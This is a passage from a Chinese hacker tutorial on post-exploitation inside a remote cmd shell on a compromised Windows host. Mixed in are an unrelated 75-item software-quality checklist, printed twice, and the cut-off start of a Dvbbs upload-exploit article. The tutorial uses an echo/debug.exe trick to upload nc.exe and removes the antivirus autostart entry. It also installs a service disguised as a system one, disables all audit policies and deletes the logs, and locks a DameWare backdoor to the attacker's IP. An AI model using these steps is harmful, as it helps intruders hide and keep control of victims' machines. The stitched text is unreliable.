稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:
@echo str="4D5A90000300000004000000FFFF0000B80000000000
0000400000000000000000000000000000000000000000000
000000000000000000000000000800000000E1FBA0E00B409
CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A
2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F0
10B010500009800000062000000000000004C000000100000
00B0000000004000001000000002000004000000000000000
4000000000000000030010000040000000000000300000000
0010000010000000001000001000000000000010000000000
0000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000A02101006401000000
00000000000000000000000000000000000000000000002E7
4657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000
000000000200000602E726461746100001704000000B00000
00060000009C0000000000000000000000000000400000402
E646174610000004452000000C00000003E000000A2000000
0000000000000000000000400000C02E696461746100005C0
7000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。
几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。
能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
系统配置
这节包括三方面内容:注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。好在系统自带的regedit.exe足够用了。
1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3,用inf文件访问注册表
上面对注册表的三个x作,也可以用下面这个inf文件来实现:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令“安装”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,这里我们请inf文件出马。
增加一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。而使用inf文件就完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。
另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。
最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中
secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:
假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:
[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1
保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf
那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。
再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。
比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
而相应的用inf,应该是:
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName="***"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。
但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping, tracert, ipconfig, telnet, ftp, tftp, netstat,还有不太熟悉的nbtstat, pathping, nslookup, finger, route, netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。
netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。
1,TCP/IP配置
echo interface ip >s
echo show config >>s
netsh -f s
del s
由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。这个命令和ipconfig /all差不多。
注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后net start remoteaccess
2,ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
这个比arp -a命令多一点信息。
3,TCP/UDP连接
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
这组命令和netstat -an一样。
4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。
IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的 SUPPORT\TOOLS\SUPPORT.CAB 中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中
(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:
1,防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。
3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。
为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1
然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。如果测试结果不理想,就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。
如果测试通过,那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。)
netdiag需要RemoteRegistry服务的支持。所以先启动该服务:
net start remoteregistry
不启动RemoteRegistry就会得到一个错误:
[FATAL] Failed to get system information of this machine.
netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是:
netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。
软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)
WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。
注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。幸好,Windows补丁包支持命令行安装。
比如:
KB824146.exe -n -z -q
-n 不保留备份
-z 不重起
-q 安静模式
如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1,显示系统版本
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2,列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3,终止进程
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123
如果显示一个0,表示终止成功。
然后:
del pk.vbs
4,重启系统
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列举自启动的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列举正在运行的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
显示结果的格式是:
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区
8,显示系统运行时间
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint®^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。
附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。
也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。
最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。
如何用正确的方法来写出质量好的软件的75条体会
1. 你们的项目组使用源代码管理工具了么?
2. 你们的项目组使用缺陷管理系统了么?
3. 你们的测试组还在用Word写测试用例么?
4. 你们的项目组有没有建立一个门户网站?
5. 你们的项目组用了你能买到最好的工具么?
6. 你们的程序员工作在安静的环境里么?
7. 你们的员工每个人都有一部电话么?
8. 你们每个人都知道出了问题应该找谁么?
9. 你遇到过有人说“我以为…”么?
10. 你们的项目组中所有的人都坐在一起么?
11. 你们的进度表是否反映最新开发进展情况?
12. 你们的工作量是先由每个人自己估算的么?
13. 你们的开发人员从项目一开始就加班么?
14. 你们的项目计划中Buffer Time是加在每个小任务后面的么?
15. 值得再多花一些时间,从95%做到100%好
16. 登记新缺陷时,是否写清了重现步骤?
17. 写新代码前会把已知缺陷解决么?
18. 你们对缺陷的轻重缓急有事先的约定么?
19. 你们对意见不一的缺陷有三国会议么?
20. 所有的缺陷都是由登记的人最后关闭的么?
21. 你们的程序员厌恶修改老的代码么?
22. 你们项目组有Team Morale Activity么?
23. 你们项目组有自己的Logo么?
24. 你们的员工有印有公司Logo的T-Shirt么?
25. 总经理至少每月参加一次项目组会议
26. 你们是给每个Dev开一个分支么?
27. 有人长期不Check-In代码么?
28. 在Check-In代码时都填写注释了么?
29. 有没有设定每天Check-In的最后期限?
30. 你们能把所有源码一下子编译成安装文件吗?
31. 你们的项目组做每日编译么?
32. 你们公司有没有积累一个项目风险列表?
33. 设计越简单越好
34. 尽量利用现有的产品、技术、代码
35. 你们会隔一段时间就停下来夯实代码么?
36. 你们的项目组每个人都写Daily Report么?
37. 你们的项目经理会发出Weekly Report么?
38. 你们项目组是否至少每周全体开会一次?
39. 你们项目组的会议、讨论都有记录么?
40. 其他部门知道你们项目组在干什么么?
41. 通过Email进行所有正式沟通
42. 为项目组建立多个Mailing Group
43. 每个人都知道哪里可以找到全部的文档么?
44. 你做决定、做变化时,告诉大家原因了么?
45. Stay agile and expect change
46. 你们有没有专职的软件测试人员?
47. 你们的测试有一份总的计划来规定做什么和怎么做么?
48. 你是先写Test Case然后再测试的么?
49. 你是否会为各种输入组合创建测试用例?
50. 你们的程序员能看到测试用例么?
51. 你们是否随便抓一些人来做易用性测试?
52. 你对自动测试的期望正确么?
53. 你们的性能测试是等所有功能都开发完才做的么?
54. 你注意到测试中的杀虫剂效应了么?
55. 你们项目组中有人能说出产品的当前整体质量情况么?
56. 你们有单元测试么?
57. 你们的程序员是写完代码就扔过墙的么?
58. 你们的程序中所有的函数都有输入检查么?
59. 产品有统一的错误处理机制和报错界面么?
60. 你们有统一的代码书写规范么?
61. 你们的每个人都了解项目的商业意义么?
62. 产品各部分的界面和操作习惯一致么?
63. 有可以作为宣传亮点的Cool Feature么?
64. 尽可能缩短产品的启动时间
65. 不要过于注重内在品质而忽视了第一眼的外在印象
66. 你们根据详细产品功能说明书做开发么?
67. 开始开发和测试之前每个人都仔细审阅功能设计么?
68. 所有人都始终想着The Whole Image么?
69. Dev工作的划分是单纯纵向或横向的么?
70. 你们的程序员写程序设计说明文档么?
71. 你在招人面试时让他写一段程序么?
72. 你们有没有技术交流讲座?
73. 你们的程序员都能专注于一件事情么?
74. 你们的程序员会夸大完成某项工作所需要的时间么?
75. 尽量不要用Virtual Heads
2. 你们的项目组使用缺陷管理系统了么?
3. 你们的测试组还在用Word写测试用例么?
4. 你们的项目组有没有建立一个门户网站?
5. 你们的项目组用了你能买到最好的工具么?
6. 你们的程序员工作在安静的环境里么?
7. 你们的员工每个人都有一部电话么?
8. 你们每个人都知道出了问题应该找谁么?
9. 你遇到过有人说“我以为…”么?
10. 你们的项目组中所有的人都坐在一起么?
11. 你们的进度表是否反映最新开发进展情况?
12. 你们的工作量是先由每个人自己估算的么?
13. 你们的开发人员从项目一开始就加班么?
14. 你们的项目计划中Buffer Time是加在每个小任务后面的么?
15. 值得再多花一些时间,从95%做到100%好
16. 登记新缺陷时,是否写清了重现步骤?
17. 写新代码前会把已知缺陷解决么?
18. 你们对缺陷的轻重缓急有事先的约定么?
19. 你们对意见不一的缺陷有三国会议么?
20. 所有的缺陷都是由登记的人最后关闭的么?
21. 你们的程序员厌恶修改老的代码么?
22. 你们项目组有Team Morale Activity么?
23. 你们项目组有自己的Logo么?
24. 你们的员工有印有公司Logo的T-Shirt么?
25. 总经理至少每月参加一次项目组会议
26. 你们是给每个Dev开一个分支么?
27. 有人长期不Check-In代码么?
28. 在Check-In代码时都填写注释了么?
29. 有没有设定每天Check-In的最后期限?
30. 你们能把所有源码一下子编译成安装文件吗?
31. 你们的项目组做每日编译么?
32. 你们公司有没有积累一个项目风险列表?
33. 设计越简单越好
34. 尽量利用现有的产品、技术、代码
35. 你们会隔一段时间就停下来夯实代码么?
36. 你们的项目组每个人都写Daily Report么?
37. 你们的项目经理会发出Weekly Report么?
38. 你们项目组是否至少每周全体开会一次?
39. 你们项目组的会议、讨论都有记录么?
40. 其他部门知道你们项目组在干什么么?
41. 通过Email进行所有正式沟通
42. 为项目组建立多个Mailing Group
43. 每个人都知道哪里可以找到全部的文档么?
44. 你做决定、做变化时,告诉大家原因了么?
45. Stay agile and expect change
46. 你们有没有专职的软件测试人员?
47. 你们的测试有一份总的计划来规定做什么和怎么做么?
48. 你是先写Test Case然后再测试的么?
49. 你是否会为各种输入组合创建测试用例?
50. 你们的程序员能看到测试用例么?
51. 你们是否随便抓一些人来做易用性测试?
52. 你对自动测试的期望正确么?
53. 你们的性能测试是等所有功能都开发完才做的么?
54. 你注意到测试中的杀虫剂效应了么?
55. 你们项目组中有人能说出产品的当前整体质量情况么?
56. 你们有单元测试么?
57. 你们的程序员是写完代码就扔过墙的么?
58. 你们的程序中所有的函数都有输入检查么?
59. 产品有统一的错误处理机制和报错界面么?
60. 你们有统一的代码书写规范么?
61. 你们的每个人都了解项目的商业意义么?
62. 产品各部分的界面和操作习惯一致么?
63. 有可以作为宣传亮点的Cool Feature么?
64. 尽可能缩短产品的启动时间
65. 不要过于注重内在品质而忽视了第一眼的外在印象
66. 你们根据详细产品功能说明书做开发么?
67. 开始开发和测试之前每个人都仔细审阅功能设计么?
68. 所有人都始终想着The Whole Image么?
69. Dev工作的划分是单纯纵向或横向的么?
70. 你们的程序员写程序设计说明文档么?
71. 你在招人面试时让他写一段程序么?
72. 你们有没有技术交流讲座?
73. 你们的程序员都能专注于一件事情么?
74. 你们的程序员会夸大完成某项工作所需要的时间么?
75. 尽量不要用Virtual Heads
动网论坛上传文件漏洞的原理以及攻击的代码实现
动网论坛上传文件漏洞的原理以及攻击的代码实现
创建时间:2004-05-17
文章属性:原创
文章提交:suei8423 (suei8423_at_163.com)
动网论坛上传文件漏洞的原理以及攻击的代码实现
----Zwell
---http://www.54nb.com
最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
